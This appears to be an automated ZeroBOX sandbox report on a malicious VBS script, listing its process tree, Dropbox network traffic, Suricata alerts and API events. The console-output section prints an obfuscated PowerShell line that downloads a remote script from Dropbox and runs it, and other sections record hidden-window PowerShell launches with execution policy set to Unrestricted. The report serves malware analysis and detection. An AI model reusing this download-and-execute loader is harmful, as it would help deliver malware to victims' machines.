Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6401	March 28, 2023, 8:13 a.m.	March 28, 2023, 8:17 a.m.

Size	878.0B
Type	ASCII text, with CRLF line terminators
MD5	`acd59921a2cc83f7afa97f7170edff34`
SHA256	`016d8fb073a1d10a8af9217d925c2baea640e6a47ca81ebff8459cd2ce9327cb`
CRC32	`8464DC60`
ssdeep	`24:fvcnqZ2/mUG986N8ZKlQ8a/ZmzYgcJa/ZhPBHv:fkqZsdZeZrP`
Yara	Antivirus - Contains references to security software

wscript.exe "C:\Windows\System32\wscript.exe" C:\Users\test22\AppData\Local\Temp\STUB.VBS.vbs
2544
- powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nologo -ExecutionPolicy Unrestricted -File C:\Users\Public\Microsofttopclayemat.ps1
  2932

Name	Response	Post-Analysis Lookup
dl.dropbox.com	CNAME edge-block-www-env.dropbox-dns.com A 162.125.84.15	162.125.84.15

IP Address	Status	Action
162.125.84.15	Active	Moloch
164.124.101.2	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 192.168.56.101:49164 -> 162.125.84.15:443	906200054	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined
TCP 192.168.56.101:49165 -> 162.125.84.15:443	906200054	SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee)	undefined

Suricata TLS

No Suricata TLS

Queries for the computername (7 events)

Time & API	Arguments	Status	Return
GetComputerNameW March 28, 2023, 8:14 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 28, 2023, 8:14 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 28, 2023, 8:14 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 28, 2023, 8:14 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameA March 28, 2023, 8:14 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 28, 2023, 8:14 a.m.	computer_name: TEST22-PC	1	1
GetComputerNameW March 28, 2023, 8:14 a.m.	computer_name: TEST22-PC	1	1

Checks if process is being debugged by a debugger (1 event)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent March 28, 2023, 8:14 a.m.			0	0

Command line console output was observed (7 events)

Time & API	Arguments	Status	Return
WriteConsoleW March 28, 2023, 8:14 a.m.	buffer: Exception calling "DownloadString" with "1" argument(s): "The underlying connec console_handle: 0x00000023	1	1
WriteConsoleW March 28, 2023, 8:14 a.m.	buffer: tion was closed: An unexpected error occurred on a send." console_handle: 0x0000002f	1	1
WriteConsoleW March 28, 2023, 8:14 a.m.	buffer: At C:\Users\Public\Microsofttopclayemat.ps1:1 char:56 console_handle: 0x0000003b	1	1
WriteConsoleW March 28, 2023, 8:14 a.m.	buffer: + i'e'x ((New-Object System.Net.WebClient).DownloadString <<<< ('https://dl.dro console_handle: 0x00000047	1	1
WriteConsoleW March 28, 2023, 8:14 a.m.	buffer: pbox.com/s/3xy7k8lvkgttve6/script.ps1?dl=0')) console_handle: 0x00000053	1	1
WriteConsoleW March 28, 2023, 8:14 a.m.	buffer: + CategoryInfo : NotSpecified: (:) [], MethodInvocationException console_handle: 0x0000005f	1	1
WriteConsoleW March 28, 2023, 8:14 a.m.	buffer: + FullyQualifiedErrorId : DotNetMethodException console_handle: 0x0000006b	1	1

Uses Windows APIs to generate a cryptographic key (46 events)

Time & API	Arguments	Status	Return
CryptExportKey March 28, 2023, 8:14 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003305d0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 28, 2023, 8:14 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00330b50 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 28, 2023, 8:14 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00330b50 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 28, 2023, 8:14 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00330b50 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 28, 2023, 8:14 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003306d0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 28, 2023, 8:14 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003306d0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 28, 2023, 8:14 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003306d0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 28, 2023, 8:14 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003306d0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 28, 2023, 8:14 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003306d0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 28, 2023, 8:14 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003306d0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 28, 2023, 8:14 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00330a50 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 28, 2023, 8:14 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00330a50 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 28, 2023, 8:14 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00330a50 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 28, 2023, 8:14 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00330a50 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 28, 2023, 8:14 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00330a50 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 28, 2023, 8:14 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00330a50 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 28, 2023, 8:14 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00330190 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 28, 2023, 8:14 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00330a50 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 28, 2023, 8:14 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00330a50 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 28, 2023, 8:14 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00330a50 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 28, 2023, 8:14 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00330a50 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 28, 2023, 8:14 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00330a50 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 28, 2023, 8:14 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00330a50 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 28, 2023, 8:14 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00330a50 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 28, 2023, 8:14 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003302d0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 28, 2023, 8:14 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003302d0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 28, 2023, 8:14 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003302d0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 28, 2023, 8:14 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003302d0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 28, 2023, 8:14 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003302d0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 28, 2023, 8:14 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003302d0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 28, 2023, 8:14 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003302d0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 28, 2023, 8:14 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003302d0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 28, 2023, 8:14 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003302d0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 28, 2023, 8:14 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003302d0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 28, 2023, 8:14 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003302d0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 28, 2023, 8:14 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003302d0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 28, 2023, 8:14 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003302d0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 28, 2023, 8:14 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x003302d0 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 28, 2023, 8:14 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00330f50 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 28, 2023, 8:14 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x00330f50 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 28, 2023, 8:14 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x05751268 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 28, 2023, 8:14 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x05751268 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 28, 2023, 8:14 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x05751268 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 28, 2023, 8:14 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x05751268 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 28, 2023, 8:14 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x05751268 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey March 28, 2023, 8:14 a.m.	buffer: <INVALID POINTER> crypto_handle: 0x05751268 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx March 28, 2023, 8:14 a.m.		1	1	0

Allocates read-write-execute memory (usually to unpack itself) (50 out of 156 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory March 28, 2023, 8:14 a.m.	process_identifier: 2932 region_size: 2031616 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x028f0000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 28, 2023, 8:14 a.m.	process_identifier: 2932 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02aa0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory March 28, 2023, 8:14 a.m.	process_identifier: 2932 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72891000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 28, 2023, 8:14 a.m.	process_identifier: 2932 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0222a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory March 28, 2023, 8:14 a.m.	process_identifier: 2932 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 8192 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x72892000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 28, 2023, 8:14 a.m.	process_identifier: 2932 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02222000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 28, 2023, 8:14 a.m.	process_identifier: 2932 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026b2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 28, 2023, 8:14 a.m.	process_identifier: 2932 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02aa1000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 28, 2023, 8:14 a.m.	process_identifier: 2932 region_size: 8192 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02aa2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 28, 2023, 8:14 a.m.	process_identifier: 2932 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026da000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 28, 2023, 8:14 a.m.	process_identifier: 2932 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026b3000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 28, 2023, 8:14 a.m.	process_identifier: 2932 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026b4000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 28, 2023, 8:14 a.m.	process_identifier: 2932 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026eb000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 28, 2023, 8:14 a.m.	process_identifier: 2932 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026e7000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 28, 2023, 8:14 a.m.	process_identifier: 2932 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0222b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 28, 2023, 8:14 a.m.	process_identifier: 2932 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026d2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 28, 2023, 8:14 a.m.	process_identifier: 2932 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026e5000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 28, 2023, 8:14 a.m.	process_identifier: 2932 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026b5000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 28, 2023, 8:14 a.m.	process_identifier: 2932 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026dc000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 28, 2023, 8:14 a.m.	process_identifier: 2932 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02920000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 28, 2023, 8:14 a.m.	process_identifier: 2932 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026b6000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 28, 2023, 8:14 a.m.	process_identifier: 2932 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026ec000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 28, 2023, 8:14 a.m.	process_identifier: 2932 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026d3000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 28, 2023, 8:14 a.m.	process_identifier: 2932 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026d4000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 28, 2023, 8:14 a.m.	process_identifier: 2932 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026d5000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 28, 2023, 8:14 a.m.	process_identifier: 2932 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026d6000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 28, 2023, 8:14 a.m.	process_identifier: 2932 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026d7000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 28, 2023, 8:14 a.m.	process_identifier: 2932 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026d8000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 28, 2023, 8:14 a.m.	process_identifier: 2932 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026d9000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 28, 2023, 8:14 a.m.	process_identifier: 2932 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a70000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 28, 2023, 8:14 a.m.	process_identifier: 2932 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a71000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 28, 2023, 8:14 a.m.	process_identifier: 2932 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a72000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 28, 2023, 8:14 a.m.	process_identifier: 2932 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a73000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 28, 2023, 8:14 a.m.	process_identifier: 2932 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a74000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 28, 2023, 8:14 a.m.	process_identifier: 2932 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a75000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 28, 2023, 8:14 a.m.	process_identifier: 2932 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a76000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 28, 2023, 8:14 a.m.	process_identifier: 2932 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a77000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 28, 2023, 8:14 a.m.	process_identifier: 2932 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a78000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 28, 2023, 8:14 a.m.	process_identifier: 2932 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a79000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 28, 2023, 8:14 a.m.	process_identifier: 2932 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a7a000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 28, 2023, 8:14 a.m.	process_identifier: 2932 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a7b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 28, 2023, 8:14 a.m.	process_identifier: 2932 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a7c000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 28, 2023, 8:14 a.m.	process_identifier: 2932 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a7d000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 28, 2023, 8:14 a.m.	process_identifier: 2932 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a7e000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 28, 2023, 8:14 a.m.	process_identifier: 2932 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a7f000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 28, 2023, 8:14 a.m.	process_identifier: 2932 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a80000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 28, 2023, 8:14 a.m.	process_identifier: 2932 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a81000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 28, 2023, 8:14 a.m.	process_identifier: 2932 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a82000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 28, 2023, 8:14 a.m.	process_identifier: 2932 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a83000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 28, 2023, 8:14 a.m.	process_identifier: 2932 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02a84000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1

Creates executable files on the filesystem (2 events)

file	C:\Users\Public\clayemat.VBS
file	C:\Users\Public\Microsofttopclayemat.ps1

Creates a shortcut to an executable file (1 event)

file	C:\Users\test22\AppData\Local\Temp\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk

Creates a suspicious process (2 events)

cmdline	powershell.exe -nologo -ExecutionPolicy Unrestricted -File C:\Users\Public\Microsofttopclayemat.ps1
cmdline	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -nologo -ExecutionPolicy Unrestricted -File C:\Users\Public\Microsofttopclayemat.ps1

Looks up the Dropbox cloud service (1 event)

domain

dl.dropbox.com

A process created a hidden window (1 event)

Time & API	Arguments	Status	Return	Repeated
ShellExecuteExW March 28, 2023, 8:14 a.m.	show_type: 0 filepath_r: powershell.exe parameters: -nologo -ExecutionPolicy Unrestricted -File C:\Users\Public\Microsofttopclayemat.ps1 filepath: powershell.exe	1	1	0

Checks adapter addresses which can be used to detect virtual network interfaces (1 event)

Time & API	Arguments	Status	Return	Repeated
GetAdaptersAddresses March 28, 2023, 8:14 a.m.	flags: 15 family: 0		111	0

URL downloaded by powershell script (2 events)

Data received
Data received	F

Poweshell is sending data to a remote host (2 events)

Data sent	qmd"#H }ó¶iqVõ¿¡ß£ù&[2ÚÜÅ\ÇFï/5 ÀÀÀ À 28,ÿdl.dropbox.com
Data sent	qmd"#HÞó~Ýå¯áyxîèññ"û!F,/5 ÀÀÀ À 28,ÿdl.dropbox.com

Checks for the Locally Unique Identifier on the system for a suspicious privilege (1 event)

Time & API	Arguments	Status	Return	Repeated
LookupPrivilegeValueW March 28, 2023, 8:14 a.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0

Network communications indicative of a potential document or script payload download was initiated by the process powershell.exe (2 events)

Time & API	Arguments	Status	Return	Repeated
send March 28, 2023, 8:14 a.m.	buffer: qmd"#H }ó¶iqVõ¿¡ß£ù&[2ÚÜÅ\ÇFï/5 ÀÀÀ À 28,ÿdl.dropbox.com socket: 1540 sent: 118	1	118	0
send March 28, 2023, 8:14 a.m.	buffer: qmd"#HÞó~Ýå¯áyxîèññ"û!F,/5 ÀÀÀ À 28,ÿdl.dropbox.com socket: 1540 sent: 118	1	118	0

One or more non-whitelisted processes were created (2 events)

